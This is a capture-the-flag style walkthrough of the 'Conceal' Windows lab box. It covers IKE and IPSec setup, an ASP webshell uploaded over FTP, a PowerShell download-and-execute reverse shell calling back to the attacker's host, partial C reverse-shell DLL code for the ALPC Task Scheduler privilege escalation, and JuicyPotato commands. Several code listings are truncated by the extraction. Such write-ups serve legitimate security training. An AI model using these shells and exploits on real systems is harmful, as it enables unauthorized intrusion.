Conceal
Conceal
Page 1 / 18
SYNOPSIS
Conceal is a “hard” difficulty Windows which teaches enumeration of IKE protocol and
configuring IPSec in transport mode. Once configured and working the firewall goes down and a
shell can be uploaded via FTP and executed. On listing the hotfixes the box is found vulnerable
to ALPC Task Scheduler LPE. Alternatively, SeImpersonatePrivilege granted to the user allows to
obtain a SYSTEM shell.
Page 2 / 18
ENUMERATION
NMAP
We find port 500 to be open, which on doing a script scan appears to be running IKE.
IKE stands for Internet Key Exchange which is used to establish a secure connection in the IPSec
protocol. More on it here.
Page 3 / 18
IKESCAN
In order to configure the VPN we’ll need the various parameters associated with it like the
encryption algorithms, protocol, pre-shared key etc.
$ ike-scan 10.10.10.116
Starting ike-scan 1.9.4 with 1 hosts
(http://www.nta-monitor.com/tools/ike-scan/)
Ending ike-scan 1.9.4: 1 hosts scanned in 0.358 seconds (2.79 hosts/sec).
1 returned handshake; 0 returned notify
We obtain some information like Encryption type 3DES, SHA1 hash algorithm and the IKE Version
being v1 among others. Another thing to be noted is the Auth parameter which needs a PSK
(Pre-shared Key)
Page 4 / 18
SNMPWALK
STRONGSWAN CONFIGURATION
To establish a connection we’ll use strongswan which allows use to configure ipsec.
Page 5 / 18
As we know the PSK already we can configure it in /etc/ipsec.secrets.
It’s in the format source destination : PSK , as the source is always us we can ignore it.
Next open up /etc/ipsec.conf in order to configure the connection and it’s parameters. The
strongswan documentation consists of the list of parameters available. The minimal configuration
looks like this.
conn Conceal
type=transport
keyexchange=ikev1
right=10.10.10.116
authby=psk
rightprotoport=tcp
leftprotoport=tcp
esp=3des-sha1
ike=3des-sha1-modp1024
auto=start
We define a connection named Conceal. The type of connection is just transport as we are only
encrypting the traffic and not creating a tunnel. The keyexchange parameter is used to specify
the version of protocol to be used which be obtained earlier as v1. The right parameter is used to
specify the destination host. The authby parameter will be psk obtained from ikescan. We
assume the protocol to be TCP, in case it doesn’t work it’ll be switched with UDP. It is specified
using the protoport parameters. The esp parameter specifies the cipher suites in the format
encryption-hashing. The ike parameter is the same but we need to specify even the group which
is modp1024.
Ipsec stop
Ipsec start --nofork
We stop the ipsec service to kill all related processes and start it in nofork mode in order to
debug it.
Page 6 / 18
The message “Conceal established….” confirms that the connection was successful.
NMAP
Running nmap again after successful connection lets us bypass the firewall and discover ports.
We need to use -sT for a full connect scan.
Now the ports are open like any normal windows box. IIS is running on port 80 and FTP has
anonymous login enabled.
Page 7 / 18
IIS - PORT 80
The page hosts a standard IIS Installation.
GOBUSTER
Page 8 / 18
FTP
FTP has anonymous login enabled. After logging in we land in an empty directory. To test if the
/upload directory is linked to FTP we upload a test file.
curl http://10.10.10.116/upload/exist.asp
Page 9 / 18
FOOTHOLD
We can execute system commands with asp scripts. We’ll use this simple cmd.asp webshell here.
wget
https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp -O
cmd.asp
ftp 10.10.10.116 # put cmd.asp
Page 10 / 18
EXECUTING SHELL
wget
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-
PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 443' >>
Invoke-PowerShellTcp.ps1
python3 -m http.server 80
Add the reverse shell command to the end of the script. Start the http server and execute.
Powershell -c iex(new-object
net.webclient).downloadstring('http://10.10.14.2/Invoke-PowerShellTcp.ps1’)
Page 11 / 18
PRIVILEGE ESCALATION
ENUMERATION
While running systeminfo we find the version to be WIndows 10 Enterprise Build 15063 and in the
HotFix section we see that nothing was patched.
The box could be potentially vulnerable to ALPC Task Scheduler LPE CVE-2018-8440. One
important condition for the exploit to work is the Read Execute access for Authenticated Users
group on the C:\Windows\Tasks folder.
icacls C:\Windows\Tasks
Page 12 / 18
ALPC SCHEDULER LPE
Having confirmed the vulnerability we can now exploit it.
Download the 64 bit version and then compile a DLL using mingw. Here’s a sample code which
sends a reverse shell using sockets on windows. It creates a socket, sends back a connect, runs
the command and stores in a buffer to return the output. For a detailed explanation check this
link.
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
void revShell();
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
Page 13 / 18
}
return 0;
void revShell() {
Sleep(1000); // 1000 = One Second
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned
int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("10.10.14.2"); // Change IP
addr.sin_port = htons(4444); //Change port
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL,
NULL, NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
Page 14 / 18
sinfo.dwFlags = (STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
Transfer the DLL and the binary to the box via wget. Then execute,
Page 15 / 18
But on the other side we receive a SYSTEM shell!
ALTERNATIVE PRIVESC
JUICY POTATO
As BITS is disabled we can’t use rotten or lonely potato. However, juicy potato can make use of
other COM server and any port other than 6666. Download the binary from the releases,
Page 16 / 18
wget
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Transfer both the script and exe to the box. Now we need valid CLSID to exploit it. There’s a list
of CLSIDs for Windows 10 Enterprise here, out of which we can choose one which gives “NT
AUTHORITY\SYSTEM”.
Page 17 / 18
Run the command,
cmd /c ".\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c
{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}"
Once the command succeeds we can use psexec to get a shell as SYSTEM.
Page 18 / 18